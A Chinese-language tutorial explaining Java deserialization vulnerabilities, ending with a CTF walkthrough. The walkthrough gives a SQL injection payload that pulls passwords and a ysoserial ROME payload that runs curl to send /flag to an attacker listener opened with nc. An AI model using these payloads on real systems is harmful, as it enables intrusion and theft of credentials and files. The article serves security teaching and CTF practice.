更新時間:2022-06-29 10:40:37 來源:動力節(jié)點 瀏覽2012次
Java反序列化漏洞是什么?動力節(jié)點小編來告訴大家。
我們需要保存某一個對象的某一一個時間的狀態(tài)信息,進行一些操作,比如利用反序列化將程序運行的對象狀態(tài)以二進制形式儲存在文件系統(tǒng)中,然后可以在另外一個程序中對序列化后的對象狀態(tài)數(shù)據(jù)進行反序列化操作回復(fù)對象,可以有效的實現(xiàn)多平臺之間的通信,對象持久化儲存。
1.序列化和反序列化
序列化 (Serialization):將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程。在序列化期間,對象將其當(dāng)前狀態(tài)寫入到臨時或持久性存儲區(qū)。
反序列化:從存儲區(qū)中讀取該數(shù)據(jù),并將其還原為對象的過程,稱為反序列化。
2.必備知識點:
JAVA序列化接口實現(xiàn)函數(shù):
序列化:ObjectOutputStream–writeObject() 將序列字節(jié)寫到對象中 JAVA約定是給文件.ser拓展名
反序列化:ObjectInputStream–readOject() 從輸入流中讀取字節(jié)序列,再將其反序列化,返回
3.JAVA序列化數(shù)據(jù)流特征:
加密便于傳輸,不加密不容易閱讀傳輸,
數(shù)據(jù)流以為rO0AB開端,就是JAVA序列化的base64 加密
aced開端,JAVA序列化的16進制
涉及到以下函數(shù),則考慮JAVA反序列化:
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
1.黑盒檢測
數(shù)據(jù)格式點:
HTTP中請求的參數(shù)
自定義協(xié)議
RMI協(xié)議:RMI使用Java語言 接口 定義了遠程對象,它集合了Java序列化和Java遠程方法協(xié)議 ,簡單地說,這樣使原先的程序在同一操作系統(tǒng)的方法調(diào)用,變成了不同操作系統(tǒng)之間程序的方法調(diào)用,由于J2EE是分布式程序平臺,它以RMI機制實現(xiàn)程序組件在不同操作系統(tǒng)之間的通信。
2.白盒檢測
函數(shù)點:
涉及到下列函數(shù)可能設(shè)計JAVA反序列化
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
3.利用
這里推薦一款只要涉及到JAVA反序列化一定會遇到的ysoserial
ysoserial是一款在Github開源的知名java反序列化利用工具,里面集合了各種java反序列化payload;
由于其中部分payload使用到的低版本JDK中的類,所以建議自己私下分析學(xué)習(xí)時使用低版本JDK JDK版本建議在1.7u21以下。
1.注入判斷,獲取管理員帳號密碼:
根據(jù)提示附件進行javaweb代碼審計,發(fā)現(xiàn)可能存在注入漏洞
另外有swagger開發(fā)接口,測試注入漏洞及訪問接口進行調(diào)用測試
數(shù)據(jù)庫名:myapp,列名name,pwd
注入測試:
POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#
2.接口測試
/swagger-ui.html接口測試:
{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}
登錄成功返回數(shù)據(jù):
{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登錄成功”,
“status”: 2,
“timestamps”: 1594549037415
}
3.回顯數(shù)據(jù)分析攻擊思路
JAVAWEB特征可以作為序列化的標(biāo)志參考:
一段數(shù)據(jù)以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數(shù)據(jù)。
或者如果以aced開頭,那么就是這一段java序列化的16進制。
分析數(shù)據(jù):
先利用py2腳本base64解密數(shù)據(jù)
import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)
再利用SerializationDumper解析數(shù)據(jù)
java -jar SerializationDumper.jar base64后的數(shù)據(jù)
4.生成反序列化payload
解密后數(shù)據(jù)中包含帳號等信息,通過接口/common/user/current分析可知數(shù)據(jù)有接受,說明存在反序列化操作,思路:將惡意代碼進行序列化后進行后續(xù)操作
利用ysoserial進行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #準(zhǔn)備服務(wù)器反彈shell
利用py2腳本進行反序列化數(shù)據(jù)的提取
import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
5.觸發(fā)反序列化,獲取flag
服務(wù)器執(zhí)行:nc -lvvp 4444
數(shù)據(jù)包直接請求獲取進行反序列數(shù)據(jù)加載操作
以上是題目思路,最重要最基礎(chǔ)的一點需要知道JAVA反序列化數(shù)據(jù)流特征,以及相關(guān)函數(shù)。感興趣的小伙伴也可以看看Java反序列化工具,希望對大家能夠有所幫助。
相關(guān)閱讀
初級 202925
初級 203221
初級 202629
初級 203743